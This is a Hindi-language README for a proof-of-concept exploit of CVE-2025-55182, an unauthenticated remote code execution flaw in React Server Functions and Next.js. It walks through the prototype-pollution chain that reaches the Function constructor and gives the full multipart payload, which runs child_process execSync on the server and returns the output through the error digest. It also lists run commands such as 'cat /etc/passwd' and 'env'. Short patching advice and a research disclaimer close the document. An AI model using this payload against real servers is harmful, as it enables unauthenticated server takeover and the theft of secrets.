
CVE-2025-55182 के लिए प्रमाण-अवधारणा शोषण, जो React Server Functions (Next.js) में एक दूरस्थ कोड निष्पादन भेद्यता है। यह प्रोटोटाइप प्रदूषण के माध्यम से बिना प्रमाणीकरण के मनमाना कोड निष्पादन को प्रदर्शित करता है, जो अनुरूपित HTTP अनुरोधों के माध्यम से होता है।
यह React Server Functions (Next.js आदि) में रिमोट कोड एक्ज़ीक्यूशन (RCE) भेद्यता का प्रदर्शन कोड है। यह प्रोटोटाइप प्रदूषण का दुरुपयोग करके बिना प्रमाणीकरण के सर्वर पर मनमाना कोड निष्पादित कर सकता है।
चेतावनी: यह रिपॉजिटरी शैक्षिक और शोध उद्देश्यों के लिए है। दुरुपयोग सख्त वर्जित है।
React Flight Protocol के डिसीरियलाइज़ेशन प्रोसेस में प्रोटोटाइप चेन का अपर्याप्त सत्यापन।
इससे __proto__ के माध्यम से Function कंस्ट्रक्टर तक पहुँचकर मनमाना JavaScript कोड निष्पादित किया जा सकता है।
सबसे आसान सत्यापन विधि।
# 1. कमजोर Next.js सर्वर प्रारंभ करें
docker compose up -d --build
# 2. एक्सप्लॉइट चलाएं (डिफ़ॉल्ट: id कमांड)
docker compose run --rm poc
# 4. कस्टम कमांड चलाएं
docker compose run --rm -e COMMAND="whoami" poc
docker compose run --rm -e COMMAND="cat /etc/passwd" poc
docker compose run --rm -e COMMAND="env" poc
# 5. सर्वर रोकें
docker-compose down
यह Next.js आदि द्वारा प्रदान की गई सर्वर-साइड API सुविधा है।
// Server Action (सर्वर-साइड पर ही निष्पादित फ़ंक्शन)
async function submitForm(formData) {
'use server' // ← सर्वर फ़ंक्शन की घोषणा
// डेटाबेस संचालन आदि, सर्वर-साइड प्रसंस्करण
const result = await db.insert(formData)
return result
}
क्लाइंट से कॉल करने पर:
क्लाइंट "चंक" नामक इकाइयों में डेटा भेजता है:
files = {
"0": (None, '["$1"]'), # चंक0: चंक1 का संदर्भ
"1": (None, '{"object":"fruit","name":"$2:fruitName"}'), # चंक1: चंक2 के fruitName का संदर्भ
"2": (None, '{"fruitName":"cherry"}'), # चंक2: वास्तविक डेटा
}
सर्वर-साइड पर डिसीरियलाइज़ होने पर:
{ object: 'fruit', name: 'cherry' }
चंकों के बीच आपसी संदर्भ संभव होना मुख्य बिंदु है।
सुधार कमिट से पहले, चंक संदर्भों को हल करते समय, यह सत्यापित नहीं किया जाता था कि कुंजी वास्तव में ऑब्जेक्ट में मौजूद है या नहीं।
इससे प्रोटोटाइप चेन तक पहुँचा जा सकता है।
files = {
"0": (None, '["$1:__proto__:constructor:constructor"]'),
"1": (None, '{"x":1}'),
}
संदर्भ हल करने की प्रक्रिया:
चंक1 का ऑब्जेक्ट → __proto__ → constructor → constructor → Function
परिणाम:
[Function: Function] // Function कंस्ट्रक्टर प्राप्त हुआ!
चंक0 को ऑब्जेक्ट बनाएं और then प्रॉपर्टी को Function कंस्ट्रक्टर पर सेट करें:
files = {
"0": (None, '{"then":"$1:__proto__:constructor:constructor"}'),
"1": (None, '{"x":1}'),
}
Next.js कोड (action-handler.ts:888, पैच से पहले):
boundActionArguments = await decodeReplyFromBusboy(
busboy,
serverModuleMap,
{ temporaryReferences }
)
यह await, जब then Function कंस्ट्रक्टर वाले ऑब्जेक्ट को कॉल करने का प्रयास करता है, तो त्रुटि होती है:
SyntaxError: Unexpected token 'function'
at Object.Function [as then] (<anonymous>) {
digest: '1259793845'
}
Function कंस्ट्रक्टर प्राप्त हो गया, लेकिन मनमाना कोड कैसे निष्पादित करें?
आवश्यक चीजें:
maple3142 का विचार: एक "नकली चंक" बनाएं जहाँ चंक0 स्वयं को संदर्भित करता है।
files = {
"0": (None, '{"then": "$1:__proto__:then"}'), # अपने then को Chunk.prototype.then से ओवरराइड करें
"1": (None, '"$@0"'), # $@0 = चंक0 का "कच्चा" प्रतिनिधित्व
}
$@ सिंटैक्स हल किए गए मान के बजाय "कच्चा चंक" लौटाता है:
case "@":
return (
(obj = parseInt(value.slice(2), 16)), getChunk(response, obj)
);
परिणाम: चंक0 का then Chunk.prototype.then से बदल दिया जाता है।
Chunk.prototype.then = function (resolve, reject) {
switch (this.status) {
case "resolved_model":
initializeModelChunk(this); // ← यहाँ प्रवेश करता है
}
// ...
}
नकली चंक में status: "resolved_model" सेट करने पर initializeModelChunk कॉल होता है:
files = {
"0": (None, '{"then": "$1:__proto__:then", "status": "resolved_model"}'),
"1": (None, '"$@0"'),
}
initializeModelChunk के अंदर:
function initializeModelChunk(chunk) {
var rawModel = JSON.parse(resolvedModel),
value = reviveModel(chunk._response, { "": rawModel }, "", rawModel, rootReference);
// ...
}
यहाँ दूसरा मूल्यांकन होता है।
React Flight Protocol का blob प्रसंस्करण ($B उपसर्ग):
case "B":
return (
obj = parseInt(value.slice(2), 16),
response._formData.get(response._prefix + obj) // ← इसका दुरुपयोग करें
);
नकली चंक के _response में हेरफेर करके, _formData.get को Function कंस्ट्रक्टर और _prefix को निष्पादित करने वाले कोड पर सेट करें:
crafted_chunk = {
"then": "$1:__proto__:then",
"status": "resolved_model",
"reason": -1, # toString() में त्रुटि से बचने के लिए
"value": '{"then": "$B0"}', # blob संदर्भ से then सेट करें
"_response": {
"_prefix": "process.mainModule.require('child_process').execSync('calc');",
"_formData": {
"get": "$1:constructor:constructor", # Function कंस्ट्रक्टर
},
},
}
files = {
"0": (None, json.dumps(crafted_chunk)),
"1": (None, '"$@0"'),
}
निष्पादन का प्रवाह:
response._formData.get(response._prefix + "0")
↓
Function("process.mainModule.require('child_process').execSync('calc');0")
↓
// यह फ़ंक्शन await होकर कॉल होता है → कोड निष्पादन!
poc.py उपरोक्त पेलोड को लागू करता है और कमांड निष्पादन परिणाम को त्रुटि संदेश से निकालता है:
# कमांड आउटपुट को त्रुटि के digest फ़ील्ड में एम्बेड करें
"_prefix": f"var res = process.mainModule.require('child_process').execSync('{EXECUTABLE}',{{'timeout':5000}}).toString().trim(); throw Object.assign(new Error('NEXT_REDIRECT'), {{digest:`${{res}}`}});"
HTTP हेडर में Next-Action: x सेट करने मात्र से हमला सफल होता है:
headers = {"Next-Action": "x"}
res = requests.post(BASE_URL, files=files, headers=headers)
महत्वपूर्ण: यह हमला डिसीरियलाइज़ेशन के दौरान होता है, इसलिए यह कार्रवाई सत्यापन (getActionModIdOrError) से पहले निष्पादित होता है।
तुरंत अपडेट करें: React और Next.js को नवीनतम संस्करण में अपडेट करें
npm update react react-dom next
संस्करण जांचें:
npm list react next
WAF/सुरक्षा उपाय:
Next-Action हेडर की निगरानी# प्रोजेक्ट की भेद्यता जांच
npm audit
यह रिपॉजिटरी केवल शैक्षिक और शोध उद्देश्यों के लिए प्रदान की गई है।
भेद्यता की खोज: maple3142 PoC कार्यान्वयन: इस रिपॉजिटरी के निर्माता